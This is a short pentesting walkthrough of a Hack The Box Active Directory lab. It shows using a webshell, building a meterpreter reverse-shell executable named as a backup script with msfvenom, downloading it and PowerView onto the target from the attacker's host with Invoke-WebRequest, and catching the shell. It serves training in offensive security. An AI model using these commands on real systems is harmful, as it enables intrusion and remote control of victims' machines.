> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/htb-ad-enumeration-and-attacks-skills-assessment-part-i.md).

# HTB AD Enumeration & Attacks - Skills Assessment Part I

Browsing the uploads folder, we get the webshell.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F9LuBDrctvUoXrBcxAkET%2Fimage.png?alt=media&amp;token=f8e69f85-f2ba-4255-b4ff-b6eb595e96a1" alt=""><figcaption></figcaption></figure>

We can directly get the flag from the desktop.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FfxgNMRlOFCkk3LBUFvaQ%2Fimage.png?alt=media&amp;token=696eb6d4-b175-489e-9dc5-993eaaa0ea52" alt=""><figcaption></figcaption></figure>

#### <mark style="color:orange;">Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name as your answer</mark>

Now we need more interactive shell. So we will be using metasploit to gain back a shell.

```
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.14.52 -f exe -o backupscript.exe LPORT=4444
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FSmz7yyty4jAA33IZVUiW%2Fimage.png?alt=media&amp;token=4868262e-e9c8-46e4-a097-aa2694f82b1e" alt=""><figcaption></figcaption></figure>

Run the following command to upload the file.

```
Invoke-WebRequest -Uri "http://10.10.14.52:8000/backupscript.exe " -OutFile "C:\windows\system32\inetsrv\backup.exe"
```

Now run it

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FQK6XKfk2DWK4T8UyCmBU%2Fimage.png?alt=media&amp;token=3825494c-1fc1-4047-8a61-294df622dee5" alt=""><figcaption></figcaption></figure>

we will get the shell

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FoO0FZ77TzI3SGLc8I002%2Fimage.png?alt=media&amp;token=6b092bb6-27fa-4102-8968-d879ab7ecbd2" alt=""><figcaption></figcaption></figure>

Now we need to upload the tools

```
Invoke-WebRequest -Uri "http://10.10.14.124:8000/PowerView.ps1 " -OutFile "C:\PowerView.ps1"
```
